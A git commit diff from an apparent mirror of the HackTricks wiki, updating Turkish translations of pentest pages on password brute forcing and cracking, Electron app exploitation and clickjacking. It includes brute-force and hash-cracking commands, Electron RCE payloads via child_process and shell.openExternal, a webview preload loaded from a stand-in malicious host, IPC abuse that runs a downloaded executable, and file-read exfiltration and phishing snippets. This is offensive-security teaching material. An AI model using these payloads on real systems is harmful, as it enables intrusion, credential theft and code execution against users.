mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-hacking/brute-force.md', 'src/network-services-
This commit is contained in:
parent
bfb200b686
commit
ea3a5b75e5
@ -4,7 +4,7 @@
|
||||
|
||||
## Varsayılan Kimlik Bilgileri
|
||||
|
||||
**Kullanılan teknolojinin** varsayılan kimlik bilgilerini **google'da arayın** veya **bu bağlantıları deneyin**:
|
||||
**Kullanılan teknolojinin** varsayılan kimlik bilgilerini google'da arayın veya **bu bağlantıları deneyin**:
|
||||
|
||||
- [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet)
|
||||
- [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html)
|
||||
@ -34,19 +34,26 @@ crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using chars
|
||||
^ Special characters including spac
|
||||
crunch 6 8 -t ,@@^^%%
|
||||
```
|
||||
### Cewl
|
||||
### Web Sitesine Dayalı Kelime Listeleri
|
||||
```bash
|
||||
# Cewl gets words from the victims page
|
||||
cewl example.com -m 5 -w words.txt
|
||||
|
||||
# Tok (https://github.com/tomnomnom/hacks/tree/master/tok) gets words from a list of URLs
|
||||
cat /path/to/urls.txt | tok
|
||||
|
||||
# https://github.com/m4ll0k/BBTz/blob/master/getjswords.py gets words from a list of JS URLs
|
||||
cat /path/to/js-urls.txt | python3 getjswords.py
|
||||
```
|
||||
### [CUPP](https://github.com/Mebus/cupp)
|
||||
|
||||
Kurban hakkındaki bilginize (isimler, tarihler...) dayalı şifreler oluşturun.
|
||||
Kurban hakkında bildiklerinize (isimler, tarihler...) dayalı şifreler oluşturun.
|
||||
```
|
||||
python3 cupp.py -h
|
||||
```
|
||||
### [Wister](https://github.com/cycurity/wister)
|
||||
|
||||
Belirli bir hedefle ilgili kullanılacak benzersiz ve ideal bir kelime listesi oluşturmanıza olanak tanıyan, bir dizi kelime sağlamanızı sağlayan bir kelime listesi oluşturucu aracıdır. Verilen kelimelerden birden fazla varyasyon oluşturma imkanı sunar.
|
||||
Bir kelime listesi oluşturucu aracı, size bir dizi kelime sağlamanıza olanak tanır, verilen kelimelerden birden fazla varyasyon oluşturma imkanı sunarak belirli bir hedefle ilgili kullanılacak benzersiz ve ideal bir kelime listesi oluşturur.
|
||||
```bash
|
||||
python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst
|
||||
|
||||
@ -271,7 +278,7 @@ nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=<SID> <IP>
|
||||
|
||||
legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt
|
||||
```
|
||||
**oracle_login**'ı **patator** ile kullanmak için **kurmanız** gerekiyor:
|
||||
**oracle_login**'ı **patator** ile kullanmak için **kurmanız** gerekir:
|
||||
```bash
|
||||
pip3 install cx_Oracle --upgrade
|
||||
```
|
||||
@ -395,11 +402,11 @@ legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --targ
|
||||
```
|
||||
#### Zayıf SSH anahtarları / Debian tahmin edilebilir PRNG
|
||||
|
||||
Bazı sistemler, kriptografik materyal oluşturmak için kullanılan rastgele tohumda bilinen hatalara sahiptir. Bu, [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute) gibi araçlarla zorlanabilecek dramatik şekilde azaltılmış bir anahtar alanına yol açabilir. Ayrıca, [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) gibi önceden oluşturulmuş zayıf anahtar setleri de mevcuttur.
|
||||
Bazı sistemler, kriptografik materyal oluşturmak için kullanılan rastgele tohumda bilinen hatalara sahiptir. Bu, [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute) gibi araçlarla zorlanabilen dramatik şekilde azaltılmış bir anahtar alanına yol açabilir. Ayrıca, [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) gibi önceden oluşturulmuş zayıf anahtar setleri de mevcuttur.
|
||||
|
||||
### STOMP (ActiveMQ, RabbitMQ, HornetQ ve OpenMQ)
|
||||
|
||||
STOMP metin protokolü, **RabbitMQ, ActiveMQ, HornetQ ve OpenMQ gibi popüler mesaj kuyruklama hizmetleriyle kesintisiz iletişim ve etkileşim sağlar**. Mesajları değiştirmek ve çeşitli mesajlaşma işlemleri gerçekleştirmek için standartlaştırılmış ve verimli bir yaklaşım sunar.
|
||||
STOMP metin protokolü, **RabbitMQ, ActiveMQ, HornetQ ve OpenMQ gibi popüler mesaj kuyruklama hizmetleriyle kesintisiz iletişim ve etkileşim sağlar.** Mesajları değiştirmek ve çeşitli mesajlaşma işlemleri gerçekleştirmek için standartlaştırılmış ve verimli bir yaklaşım sunar.
|
||||
```bash
|
||||
legba stomp --target localhost:61613 --username admin --password data/passwords.txt
|
||||
```
|
||||
@ -442,8 +449,8 @@ crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
||||
### Çevrimiçi kırma veritabanları
|
||||
|
||||
- [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 & SHA1)
|
||||
- [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 ile/olmaksızın ESS/SSP ve herhangi bir zorluk değeri ile)
|
||||
- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hashler, WPA2 yakalamaları ve MSOffice, ZIP, PDF arşivleri...)
|
||||
- [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 ESS/SSP ile/olmaksızın ve herhangi bir zorluk değeri ile)
|
||||
- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hashler, WPA2 yakalamaları ve MSOffice, ZIP, PDF... arşivleri)
|
||||
- [https://crackstation.net/](https://crackstation.net) (Hashler)
|
||||
- [https://md5decrypt.net/](https://md5decrypt.net) (MD5)
|
||||
- [https://gpuhash.me/](https://gpuhash.me) (Hashler ve dosya hashleri)
|
||||
@ -453,7 +460,7 @@ crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
||||
- [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5)
|
||||
- [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com)
|
||||
|
||||
Bir Hash'i brute force denemeden önce bunu kontrol edin.
|
||||
Bir Hash'ı brute force denemeden önce bunu kontrol edin.
|
||||
|
||||
### ZIP
|
||||
```bash
|
||||
@ -473,8 +480,8 @@ hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
|
||||
```
|
||||
#### Bilinen düz metin zip saldırısı
|
||||
|
||||
Şifreli zip içinde bulunan bir dosyanın **düz metnini** (veya düz metnin bir kısmını) bilmeniz gerekir. Şifreli zip içinde bulunan **dosya adlarını ve dosyaların boyutunu** kontrol etmek için şunu çalıştırabilirsiniz: **`7z l encrypted.zip`**\
|
||||
[**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)indirin.
|
||||
Şifreli zip içinde bulunan bir dosyanın **düz metnini** (veya düz metnin bir kısmını) bilmeniz gerekir. Şifreli zip içinde bulunan **dosya adlarını ve dosyaların boyutunu** kontrol etmek için: **`7z l encrypted.zip`** komutunu çalıştırabilirsiniz.\
|
||||
[**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) indirin.
|
||||
```bash
|
||||
# You need to create a zip file containing only the file that is inside the encrypted zip
|
||||
zip plaintext.zip plaintext.file
|
||||
@ -508,7 +515,7 @@ qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf
|
||||
```
|
||||
### PDF Sahibi Parolası
|
||||
|
||||
Bir PDF sahibi parolasını kırmak için bunu kontrol edin: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/)
|
||||
Bir PDF sahibi parolasını kırmak için şunu kontrol edin: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/)
|
||||
|
||||
### JWT
|
||||
```bash
|
||||
@ -585,7 +592,7 @@ john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
|
||||
|
||||
### Open Office Pwd Protected Column
|
||||
|
||||
Eğer bir şifre ile korunan bir sütun içeren bir xlsx dosyanız varsa, onu korumasını kaldırabilirsiniz:
|
||||
Eğer bir şifre ile korunan bir sütunu olan bir xlsx dosyanız varsa, onu korumasını kaldırabilirsiniz:
|
||||
|
||||
- **Google Drive'a yükleyin** ve şifre otomatik olarak kaldırılacaktır
|
||||
- **Manuel olarak kaldırmak için**:
|
||||
@ -626,7 +633,7 @@ hash-identifier
|
||||
```bash
|
||||
kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt
|
||||
```
|
||||
### John mutasyonu
|
||||
### John mutation
|
||||
|
||||
_**/etc/john/john.conf**_ dosyasını okuyun ve yapılandırın.
|
||||
```bash
|
||||
@ -689,7 +696,7 @@ hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1
|
||||
## Use it to crack the password
|
||||
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask
|
||||
```
|
||||
- Kelime listesi + Maske (`-a 6`) / Maske + Kelime listesi (`-a 7`) saldırısı
|
||||
- Wordlist + Mask (`-a 6`) / Mask + Wordlist (`-a 7`) saldırısı
|
||||
```bash
|
||||
# Mask numbers will be appended to each word in the wordlist
|
||||
hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d
|
||||
|
@ -19,8 +19,8 @@ Electron uygulamasının kaynak kodunda, `packet.json` içinde güvenlik yapıla
|
||||
```
|
||||
Electron'ın 2 işlem türü vardır:
|
||||
|
||||
- Ana İşlem (NodeJS'ye tam erişime sahiptir)
|
||||
- Render İşlemi (güvenlik nedenleriyle NodeJS'ye kısıtlı erişime sahip olmalıdır)
|
||||
- Ana İşlem (NodeJS'ye tam erişimi vardır)
|
||||
- Render İşlemi (güvenlik nedenleriyle NodeJS erişimi kısıtlanmalıdır)
|
||||
|
||||
.png>)
|
||||
|
||||
@ -34,7 +34,7 @@ win.loadURL(`file://path/to/index.html`)
|
||||
```
|
||||
**renderer process** ayarları **main.js** dosyası içinde **main process**'te **yapılandırılabilir**. Bazı yapılandırmalar, **ayarlar doğru bir şekilde yapılandırıldığında** Electron uygulamasının RCE veya diğer güvenlik açıklarını **önlemesine** yardımcı olacaktır.
|
||||
|
||||
Electron uygulaması, Node API'leri aracılığıyla **cihazı erişebilir**, ancak bunu önlemek için yapılandırılabilir:
|
||||
Electron uygulaması, Node apileri aracılığıyla **cihazı erişebilir**, ancak bunu önlemek için yapılandırılabilir:
|
||||
|
||||
- **`nodeIntegration`** - varsayılan olarak `kapalıdır`. Açık olduğunda, renderer process'ten node özelliklerine erişime izin verir.
|
||||
- **`contextIsolation`** - varsayılan olarak `açıktır`. Kapalı olduğunda, main ve renderer süreçleri izole edilmez.
|
||||
@ -42,7 +42,7 @@ Electron uygulaması, Node API'leri aracılığıyla **cihazı erişebilir**, an
|
||||
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - varsayılan olarak kapalıdır. NodeJS'in gerçekleştirebileceği eylemleri kısıtlar.
|
||||
- Workers'da Node Entegrasyonu
|
||||
- **`nodeIntegrationInSubframes`** - varsayılan olarak kapalıdır.
|
||||
- Eğer **`nodeIntegration`** **etkinleştirilirse**, bu, Electron uygulaması içinde **iframe'lerde** yüklü web sayfalarında **Node.js API'lerinin** kullanılmasına izin verir.
|
||||
- Eğer **`nodeIntegration`** **etkinleştirilirse**, bu, Electron uygulaması içinde **iframe'lerde yüklenen** web sayfalarında **Node.js API'lerinin** kullanılmasına izin verir.
|
||||
- Eğer **`nodeIntegration`** **devre dışı bırakılırsa**, o zaman preloads iframe içinde yüklenecektir.
|
||||
|
||||
Yapılandırma örneği:
|
||||
@ -111,7 +111,7 @@ Eğer yerel olarak bir Electron Uygulamasını çalıştırabiliyorsanız, muhte
|
||||
|
||||
## RCE: XSS + nodeIntegration
|
||||
|
||||
Eğer **nodeIntegration** **açık** olarak ayarlandıysa, bir web sayfasının JavaScript'i Node.js özelliklerini kolayca `require()` çağrısı yaparak kullanabilir. Örneğin, Windows'ta calc uygulamasını çalıştırmanın yolu:
|
||||
Eğer **nodeIntegration** **açık** olarak ayarlandıysa, bir web sayfasının JavaScript'i Node.js özelliklerini kolayca kullanabilir, sadece `require()` çağrısı yaparak. Örneğin, Windows'ta calc uygulamasını çalıştırmanın yolu:
|
||||
```html
|
||||
<script>
|
||||
require("child_process").exec("calc")
|
||||
@ -123,7 +123,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
|
||||
|
||||
## RCE: preload
|
||||
|
||||
Bu ayardaki script, **renderer'daki diğer scriptlerden önce yüklenir**, bu nedenle **Node API'lerine sınırsız erişime sahiptir**:
|
||||
Bu ayardaki script, **renderer'daki diğer scriptlerden önce yüklenir**, bu nedenle **Node API'lerine sınırsız erişimi vardır**:
|
||||
```javascript
|
||||
new BrowserWindow{
|
||||
webPreferences: {
|
||||
@ -152,16 +152,16 @@ runCalc()
|
||||
|
||||
## RCE: XSS + contextIsolation
|
||||
|
||||
_**contextIsolation**_, **web sayfası scriptleri ile JavaScript Electron'un iç kodu arasında ayrılmış bağlamlar** tanıtarak her bir kodun JavaScript yürütmesinin birbirini etkilememesini sağlar. Bu, RCE olasılığını ortadan kaldırmak için gerekli bir özelliktir.
|
||||
_**contextIsolation**_ , **web sayfası betikleri ile JavaScript Electron'un iç kodu arasında ayrılmış bağlamlar** tanıtarak her bir kodun JavaScript yürütmesinin birbirini etkilememesini sağlar. Bu, RCE olasılığını ortadan kaldırmak için gerekli bir özelliktir.
|
||||
|
||||
Eğer bağlamlar izole edilmemişse, bir saldırgan:
|
||||
|
||||
1. **renderer'da keyfi JavaScript çalıştırabilir** (XSS veya harici sitelere yönlendirme)
|
||||
2. Preload veya Electron iç kodunda kullanılan **yerleşik yöntemi** kendi fonksiyonu ile **üstüne yazabilir**
|
||||
3. **Üstüne yazılmış fonksiyonun** kullanılmasını **tetikleyebilir**
|
||||
2. Preload veya Electron iç kodunda kullanılan **yerleşik yöntemi** kendi fonksiyonuna **üst üste yazabilir**
|
||||
3. **üst üste yazılmış fonksiyonun** kullanılmasını **tetikleyebilir**
|
||||
4. RCE?
|
||||
|
||||
Yerleşik yöntemlerin üstüne yazılabileceği 2 yer vardır: Preload kodunda veya Electron iç kodunda:
|
||||
Yerleşik yöntemlerin üst üste yazılabileceği 2 yer vardır: Preload kodunda veya Electron iç kodunda:
|
||||
|
||||
{{#ref}}
|
||||
electron-contextisolation-rce-via-preload-code.md
|
||||
@ -187,12 +187,12 @@ Bu örnekler hakkında daha fazla bilgi için [https://shabarkin.medium.com/1-cl
|
||||
|
||||
Bir Electron masaüstü uygulaması dağıtırken, `nodeIntegration` ve `contextIsolation` için doğru ayarların sağlanması çok önemlidir. **İstemci tarafı uzaktan kod yürütme (RCE)**, ön yükleme betikleri veya ana süreçten Electron'un yerel kodunu hedef alarak bu ayarlar ile etkili bir şekilde engellenir.
|
||||
|
||||
Bir kullanıcı bağlantılarla etkileşime girdiğinde veya yeni pencereler açtığında, uygulamanın güvenliği ve işlevselliği için kritik olan belirli olay dinleyicileri tetiklenir:
|
||||
Bir kullanıcının bağlantılarla etkileşime girmesi veya yeni pencereler açması durumunda, uygulamanın güvenliği ve işlevselliği için kritik olan belirli olay dinleyicileri tetiklenir:
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {}
|
||||
webContents.on("will-navigate", function (event, url) {}
|
||||
```
|
||||
Bu dinleyiciler **masaüstü uygulaması tarafından geçersiz kılınır** ve kendi **iş mantığını** uygular. Uygulama, yönlendirilmiş bir bağlantının dahili olarak mı yoksa harici bir web tarayıcısında mı açılması gerektiğini değerlendirir. Bu karar genellikle `openInternally` adlı bir fonksiyon aracılığıyla verilir. Eğer bu fonksiyon `false` dönerse, bağlantının harici olarak açılması gerektiğini belirtir ve `shell.openExternal` fonksiyonu kullanılır.
|
||||
Bu dinleyiciler, **masaüstü uygulaması tarafından** kendi **iş mantığını** uygulamak için **geçersiz kılınır**. Uygulama, yönlendirilmiş bir bağlantının dahili olarak mı yoksa harici bir web tarayıcısında mı açılması gerektiğini değerlendirir. Bu karar genellikle `openInternally` adlı bir fonksiyon aracılığıyla verilir. Eğer bu fonksiyon `false` dönerse, bağlantının harici olarak açılması gerektiğini belirtir ve `shell.openExternal` fonksiyonu kullanılır.
|
||||
|
||||
**İşte basitleştirilmiş bir pseudocode:**
|
||||
|
||||
@ -204,7 +204,7 @@ Electron JS güvenlik en iyi uygulamaları, `openExternal` fonksiyonu ile güven
|
||||
|
||||
macos'ta, `openExternal` fonksiyonu, `shell.openExternal('file:///System/Applications/Calculator.app')` gibi rastgele komutlar çalıştırmak için istismar edilebilir.
|
||||
|
||||
**Windows protokol istismarına örnekler şunlardır:**
|
||||
**Windows protokol istismarlarına örnekler şunlardır:**
|
||||
```html
|
||||
<script>
|
||||
window.open(
|
||||
@ -224,13 +224,34 @@ window.open(
|
||||
)
|
||||
</script>
|
||||
```
|
||||
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
|
||||
|
||||
Bu zafiyet **[bu raporda](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)** bulunabilir.
|
||||
|
||||
**webviewTag**, **NodeJS**'in **renderer process** içinde kullanılmasına izin veren **kullanımdan kaldırılmış bir özelliktir**, bu da preload bağlamında bir script yüklenmesine olanak tanıdığı için devre dışı bırakılmalıdır:
|
||||
```xml
|
||||
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
|
||||
```
|
||||
Bu nedenle, rastgele bir sayfayı yüklemeyi başaran bir saldırgan, o etiketi kullanarak **rastgele bir ön yükleme betiği** yükleyebilir.
|
||||
|
||||
Bu ön yükleme betiği daha sonra **RCE elde etmek için `shell.openExternal`** çağrısı yapan **kırılgan IPC servisini (`skype-new-window`)** çağırmak için istismar edildi:
|
||||
```javascript
|
||||
(async() => {
|
||||
const { ipcRenderer } = require("electron");
|
||||
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
|
||||
setTimeout(async () => {
|
||||
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
|
||||
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
|
||||
}, 5000);
|
||||
})();
|
||||
```
|
||||
## İç Dosyaları Okuma: XSS + contextIsolation
|
||||
|
||||
**`contextIsolation`'ı devre dışı bırakmak, yerel dosyaları okumak ve dışa aktarmak için `<webview>` etiketlerinin kullanılmasına olanak tanır**, `<iframe>`'e benzer. Verilen bir örnek, bu güvenlik açığını kullanarak iç dosyaların içeriğini okuma yöntemini göstermektedir:
|
||||
**`contextIsolation`'ı devre dışı bırakmak, yerel dosyaları okumak ve dışarı aktarmak için `<webview>` etiketlerinin**, `<iframe>` gibi kullanılmasına olanak tanır. Verilen bir örnek, bu açığı kullanarak iç dosyaların içeriğini okuma yöntemini göstermektedir:
|
||||
|
||||
.png>)
|
||||
|
||||
Ayrıca, **bir iç dosyayı okuma** için başka bir yöntem paylaşılmakta, bir Electron masaüstü uygulamasında kritik bir yerel dosya okuma güvenlik açığını vurgulamaktadır. Bu, uygulamayı istismar etmek ve verileri dışa aktarmak için bir script enjekte etmeyi içermektedir:
|
||||
Ayrıca, **bir iç dosyayı okuma** için başka bir yöntem paylaşılmakta, bir Electron masaüstü uygulamasında kritik bir yerel dosya okuma açığını vurgulamaktadır. Bu, uygulamayı istismar etmek ve verileri dışarı aktarmak için bir script enjekte etmeyi içerir:
|
||||
```html
|
||||
<br /><br /><br /><br />
|
||||
<h1>
|
||||
@ -260,25 +281,29 @@ Bir XSS bulduğunuzu varsayalım ama **RCE'yi tetikleyemiyorsanız veya dahili d
|
||||
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
|
||||
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
|
||||
```
|
||||
**`openInternally`** çağrısı, **bağlantının** platforma ait bir bağlantı olup olmadığına göre **masaüstü penceresinde** **açılıp açılmayacağına** veya **tarayıcıda 3. parti bir kaynak** olarak **açılıp açılmayacağına** karar verecektir.
|
||||
**`openInternally`** çağrısı, **bağlantının** platforma ait bir bağlantı olup olmadığına göre **masaüstü penceresinde** **açılacağını** veya **üçüncü taraf bir kaynak olarak** **tarayıcıda** açılıp açılmayacağını belirleyecektir.
|
||||
|
||||
Eğer fonksiyonun kullandığı **regex** **bypass'lere karşı savunmasızsa** (örneğin **alt alan adlarının noktalarını kaçırmıyorsa**) bir saldırgan, XSS'i kötüye kullanarak **saldırganın altyapısında bulunan** yeni bir pencere **açabilir** ve kullanıcıdan **kimlik bilgileri** isteyebilir:
|
||||
Eğer fonksiyonun kullandığı **regex** **bypass'lere karşı savunmasızsa** (örneğin, **alt alan adlarının noktalarını kaçırmıyorsa**), bir saldırgan XSS'i kötüye kullanarak **kullanıcıdan kimlik bilgileri** talep eden **yeni bir pencere açabilir**:
|
||||
```html
|
||||
<script>
|
||||
window.open("<http://subdomainagoogleq.com/index.html>")
|
||||
</script>
|
||||
```
|
||||
## Remote modülü
|
||||
## `file://` Protokolü
|
||||
|
||||
Electron Remote modülü, **renderer süreçlerinin ana süreç API'lerine erişmesine** olanak tanır ve bir Electron uygulaması içinde iletişimi kolaylaştırır. Ancak, bu modülün etkinleştirilmesi önemli güvenlik riskleri getirir. Uygulamanın saldırı yüzeyini genişleterek, onu cross-site scripting (XSS) saldırıları gibi zayıflıklara daha duyarlı hale getirir.
|
||||
[Belgelerde](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) belirtildiği gibi, **`file://`** üzerinde çalışan sayfalar, makinenizdeki her dosyaya tek taraflı erişime sahiptir, bu da **XSS sorunlarının kullanıcı makinesinden rastgele dosyalar yüklemek için kullanılabileceği** anlamına gelir. **Özel bir protokol** kullanmak, protokolü yalnızca belirli bir dosya setini sunacak şekilde sınırlayabileceğiniz için bu tür sorunları önler.
|
||||
|
||||
## Uzaktan modül
|
||||
|
||||
Electron Uzaktan modülü, **renderer süreçlerinin ana süreç API'lerine erişmesine** olanak tanır ve bir Electron uygulaması içinde iletişimi kolaylaştırır. Ancak, bu modülün etkinleştirilmesi önemli güvenlik riskleri getirir. Uygulamanın saldırı yüzeyini genişleterek, çapraz site betik saldırıları (XSS) gibi güvenlik açıklarına daha duyarlı hale getirir.
|
||||
|
||||
> [!TIP]
|
||||
> **remote** modülü ana süreçten renderer süreçlerine bazı API'leri açsa da, yalnızca bileşenleri kötüye kullanarak RCE elde etmek kolay değildir. Ancak, bileşenler hassas bilgileri açığa çıkarabilir.
|
||||
> **remote** modülü, ana süreçten renderer süreçlerine bazı API'leri açsa da, yalnızca bileşenleri kötüye kullanarak RCE elde etmek kolay değildir. Ancak, bileşenler hassas bilgileri açığa çıkarabilir.
|
||||
|
||||
> [!WARNING]
|
||||
> Hala remote modülünü kullanan birçok uygulama, renderer sürecinde **NodeIntegration'ın etkinleştirilmesini gerektirir**, bu da **büyük bir güvenlik riski** oluşturur.
|
||||
> Hala uzaktan modülü kullanan birçok uygulama, **renderer sürecinde NodeIntegration'ın etkinleştirilmesini gerektirir**, bu da **büyük bir güvenlik riski** oluşturur.
|
||||
|
||||
Electron 14'ten itibaren, Electron'un `remote` modülü güvenlik ve performans nedenleriyle birkaç adımda etkinleştirilebilir, bu nedenle **kullanılmaması önerilir**.
|
||||
Electron 14'ten itibaren, Electron'un `remote` modülü, güvenlik ve performans nedenleriyle birkaç adımda etkinleştirilebilir; bu nedenle **kullanılmaması önerilir**.
|
||||
|
||||
Etkinleştirmek için, önce **ana süreçte etkinleştirilmesi gerekir**:
|
||||
```javascript
|
||||
@ -304,13 +329,13 @@ import { dialog, getCurrentWindow } from '@electron/remote'
|
||||
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
|
||||
- Belirtilen **protokol** için mevcut çalıştırılabilir dosyayı **varsayılan işleyici** olarak **kaydeder**. Gerekirse **özel bir yol** ve **argümanlar** sağlayabilirsiniz.
|
||||
- **`app.setUserTasks(tasks)`**
|
||||
- **Jump List** (Windows'ta) içindeki **Görevler kategorisine** görevler **ekler**. Her görev, uygulamanın nasıl **başlatılacağını** veya hangi **argümanların** geçeceğini kontrol edebilir.
|
||||
- **Görevler** kategorisine **görevler ekler** (Windows'ta). Her görev, uygulamanın nasıl **başlatılacağını** veya hangi **argümanların** geçeceğini kontrol edebilir.
|
||||
- **`app.importCertificate(options, callback)`**
|
||||
- Sistemin **sertifika deposuna** bir **PKCS#12 sertifikası** **ithal eder** (sadece Linux). Sonucu işlemek için bir **callback** kullanılabilir.
|
||||
- Sistemin **sertifika deposuna** bir **PKCS#12 sertifikası** **ithal eder** (sadece Linux). Sonucu işlemek için bir **geri çağırma** kullanılabilir.
|
||||
- **`app.moveToApplicationsFolder([options])`**
|
||||
- Uygulamayı **Uygulamalar klasörüne** **taşır** (macOS'ta). Mac kullanıcıları için **standart bir kurulum** sağlamaya yardımcı olur.
|
||||
- **`app.setJumpList(categories)`**
|
||||
- **Windows** üzerinde bir **özel Jump List** **ayarlar** veya **kaldırır**. Görevlerin kullanıcıya nasıl görüneceğini düzenlemek için **kategoriler** belirtebilirsiniz.
|
||||
- **Windows** üzerinde **özel bir Jump List** **ayarlar** veya **kaldırır**. Görevlerin kullanıcıya nasıl görüneceğini düzenlemek için **kategoriler** belirtebilirsiniz.
|
||||
- **`app.setLoginItemSettings(settings)`**
|
||||
- **Girişte** hangi **çalıştırılabilir dosyaların** **başlatılacağını** ve bunların **seçeneklerini** **ayarlar** (sadece macOS ve Windows).
|
||||
```javascript
|
||||
@ -348,17 +373,17 @@ console.log('Recent Places:', recentPlaces);
|
||||
|
||||
* **setUserDefault**, bu tercihleri **değiştirebilir**, bu da bir uygulamanın **konfigürasyonunu** etkileyebilir.
|
||||
|
||||
* **Eski Electron sürümlerinde** (v8.3.0'dan önce), yalnızca NSUserDefaults'un **standart kümesi** **erişilebilir** idi.
|
||||
* **Eski Electron sürümlerinde** (v8.3.0'dan önce), yalnızca NSUserDefaults'un **standart seti** **erişilebilir** idi.
|
||||
|
||||
## Shell.showItemInFolder
|
||||
|
||||
Bu fonksiyon, verilen dosyayı bir dosya yöneticisinde gösterir, bu da **dosyanın otomatik olarak çalıştırılmasına** neden olabilir.
|
||||
|
||||
Daha fazla bilgi için [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html) adresine bakın.
|
||||
Daha fazla bilgi için [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html) kontrol edin.
|
||||
|
||||
## Content Security Policy
|
||||
|
||||
Electron uygulamaları, **XSS saldırılarını** **önlemek** için bir **İçerik Güvenlik Politikası (CSP)**'ye sahip olmalıdır. **CSP**, tarayıcıda **güvensiz kodun** **çalıştırılmasını** **önlemeye** yardımcı olan bir **güvenlik standardıdır**.
|
||||
Electron uygulamaları, **XSS saldırılarını** **önlemek** için bir **İçerik Güvenlik Politikası (CSP)** bulundurmalıdır. **CSP**, tarayıcıda **güvensiz kodun** **çalıştırılmasını** **önlemeye** yardımcı olan bir **güvenlik standardıdır**.
|
||||
|
||||
Genellikle **`main.js`** dosyasında veya **`index.html`** şablonunda CSP'nin bulunduğu bir **meta etiketi** ile **yapılandırılır**.
|
||||
|
||||
|
@ -12,7 +12,7 @@ Bazen bir sayfa yüklenirken **GET parametrelerini kullanarak bir formun alanlar
|
||||
|
||||
### Sürükle ve Bırak ile Form Doldurma
|
||||
|
||||
Kullanıcının bir **formu doldurmasını** istiyorsanız ancak ona bazı özel bilgileri (örneğin, bildiğiniz e-posta ve/veya özel şifre) yazmasını doğrudan istemek istemiyorsanız, ona sadece **Sürükle ve Bırak** yapmasını isteyebilirsiniz; bu, kontrol ettiğiniz verileri yazacaktır, tıpkı [**bu örnekteki**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/) gibi.
|
||||
Kullanıcının bir **formu doldurmasını** istiyorsanız ancak ona bazı özel bilgileri (bilgisi olan e-posta veya şifre gibi) doğrudan yazmasını istemiyorsanız, ona sadece **Sürükle ve Bırak** yapmasını isteyebilirsiniz; bu, kontrol ettiğiniz verileri yazacaktır, tıpkı [**bu örnekteki**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/) gibi.
|
||||
|
||||
### Temel Yük
|
||||
```css
|
||||
@ -89,19 +89,21 @@ background: #F00;
|
||||
```
|
||||
### XSS + Clickjacking
|
||||
|
||||
Eğer bir **kullanıcının tıklamasını gerektiren bir XSS saldırısı** tespit ettiyseniz ve sayfa **clickjacking'e karşı savunmasızsa**, bunu kullanarak kullanıcıyı butona/bağlantıya tıklamaya kandırabilirsiniz.\
|
||||
